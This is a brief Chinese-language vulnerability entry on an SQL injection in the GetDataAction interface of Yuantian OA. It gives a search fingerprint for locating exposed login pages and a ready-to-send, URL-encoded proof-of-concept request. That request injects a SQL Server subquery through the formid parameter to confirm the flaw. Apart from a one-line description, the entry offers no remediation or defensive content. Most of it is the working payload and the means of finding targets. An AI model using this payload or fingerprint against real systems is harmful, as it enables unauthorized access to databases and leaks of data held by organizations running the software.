源天OA GetDataAction SQL注入漏洞

漏洞描述

源天OA GetDataAction 接口存在SQL注入漏洞，攻击者通过漏洞可以获取服务器数据库中的数据，造成信息泄漏

漏洞影响

源天OA

网络测绘

body="/vmain/login.jsp"

漏洞复现

登录页面

验证POC

/ServiceAction/ServiceAction/com.velcro.base.GetDataAction?action=checkname&formid=-1%27%20OR%207063%20IN%20(SELECT%20(sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271%27))))%20AND%20%27a%27=%27a